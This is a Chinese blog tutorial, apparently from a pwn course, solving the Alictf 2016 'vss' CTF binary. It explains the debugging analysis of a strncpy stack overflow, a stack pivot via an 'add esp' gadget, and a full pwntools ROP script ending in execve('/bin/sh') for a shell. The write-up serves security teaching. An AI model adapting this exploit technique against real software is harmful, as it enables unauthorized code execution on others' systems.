PWN_09-调整栈帧的技巧-Alictf 2016-vss讲解

  1. 7.1-调整栈帧的技巧-Alictf 2016-vss讲解
    1. 说明
    2. 分析
    3. 执行结果

7.1-调整栈帧的技巧-Alictf 2016-vss讲解

说明

  1. 本题原来是使用静态编译+strip命令剥离符号,但是考虑到为基础课程,因此,我已经将此程序进行一定的翻译
  2. 大家直接加载就好

分析

  • 将每一个函数全部翻译出来确实需要大量的时间,此时我们更换思路,改静态分析为动态分析

  • 载入IDAPro,加载远程调成环境,F2下断点,F9开始执行

    • 但是还没怎么输入字符串,发现程序自己就结束掉了
    • 分析发现是因为alarm的原因
  • 因此我们在 mov edi,0AH前下断点,可以改变计时器的计时时间,为我们的分析争取时间

  • 继续运行,等运行到read时,我们输入一大串字符串

    输入数据

    栈内情况

  • 继续执行,发现程序报错了

    报错提示

  • 是不是很熟悉?没错,溢出了

  • 我们跟踪一下输入的数据的走向

  • 当我们输入abcd1234abcd1234abcd1234之后,发现在下边调用了verify函数,我们按F7步进(进入verify函数),当执行完sub_400330之后,发现我们原本输入的字符串被原封不动的复制了一遍,因此,我们初步判定为strncpy函数

    函数判断

  • 继续往下执行,发现有两个判断,判断输入头两个字母是否是py,若是则直接退出,否则进入一个循环,这 个循环会以[rbp+rax+dest]里的值作为循环次数对从输入开始的每个位异或0x66。由于循环次数会被修改且 变得过大,循环最后会因为试图访问没有标志位R的内存页而崩溃。

    静动结合分析

    报错信息

  • 此时的rbp = 0x7FFC44B4AB80,rax = 0x14C0,rax+rbp = 0x7FFC 44B4 C040,查看内存页是否可读
    内存页情况

    • 发现7FFC 44B4 C040并不在可读写范围,因此为没有标志位R的内存页,从而导致程序崩溃。
  • 因此我们需要改变思路,尝试一下在输入的开头加上“py”,这时发现了一个数据可控的栈溢出

    输入含有py的字符串大仙直接报错

    栈数据

  • 通过观察数据我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个,使用了strncpy,字符串里不能有\x00,否则会被当做字符串截断从 而无法复制满0x50字节制造可控溢出,,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我 们就需要通过修改esp来完成漏洞利用。

  • 首先,尽管我们有那么多的限制条件,但是在main函数中我们看到read函数的参数指明了长度是0x400。幸 运的是,read函数可以读取“\x00”

  • 这就意味着我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上。我们搜索包含 add esp的gadgets,搜索到了一些结果

    查询结果

  • 通过这个gadget,我们成功把esp的值增加到0x50之后。接下来我们就可以使用熟悉的ROP技术调用sys_read 读取”/bin/sh\x00”字符串,最后调用sys_execve了。构建ROP链和完整脚本如下:

    #coding:utf-8
    
    from pwn import *
    
    io = process("./vss")
    
    payload = ""
    payload += p64(0x6161616161617970)     #头两位为py,过检测
    payload += 'a'*0x40                 #padding
    payload += p64(0x46f205)            #add esp, 0x58; ret
    payload += 'a'*8                    #padding
    payload += p64(0x43ae29)             #pop rdx; pop rsi; ret 为sys_read设置参数
    payload +=p64(0x8)                     #rdx = 8
    payload += p64(0x6c7079)             #rsi = 0x6c7079
    payload += p64(0x401823)             #pop rdi; ret 为sys_read设置参数
    payload += p64(0x0)                 #rdi = 0
    payload += p64(0x437ea9)             #mov rax, 0; syscall 调用sys_read 
    payload += p64(0x46f208)            #pop rax; ret 
    payload += p64(59)                    #rax = 0x3b
    payload += p64(0x43ae29)             #pop rdx; pop rsi; ret 为sys_execve设置参数
    payload += p64(0x0)                 #rdx = 0
    payload += p64(0x0)                 #rsi = 0
    payload += p64(0x401823)             #pop rdi; ret 为sys_execve设置参数
    payload += p64(0x6c7079)             #rdi = 0x6c7079
    payload += p64(0x437eae)             #syscall
    
    print io.recv()
    io.send(payload)
    sleep(0.1)    #等待程序执行,防止出错
    
    io.send('/bin/sh\x00')
    io.interactive()

执行结果

结果


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com

文章标题:PWN_09-调整栈帧的技巧-Alictf 2016-vss讲解

本文作者:二豆子·pwnd0u

发布时间:2020-11-21, 16:36:46

最后更新:2020-11-21, 16:37:37

原始链接:http://blog.codefat.cn/2020/11/21/PWN-09-%E8%B0%83%E6%95%B4%E6%A0%88%E5%B8%A7%E7%9A%84%E6%8A%80%E5%B7%A7-Alictf-2016-vss%E8%AE%B2%E8%A7%A3/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

/*爱心代码*/ /*雪花效果*/ /*百度代码自动提交*/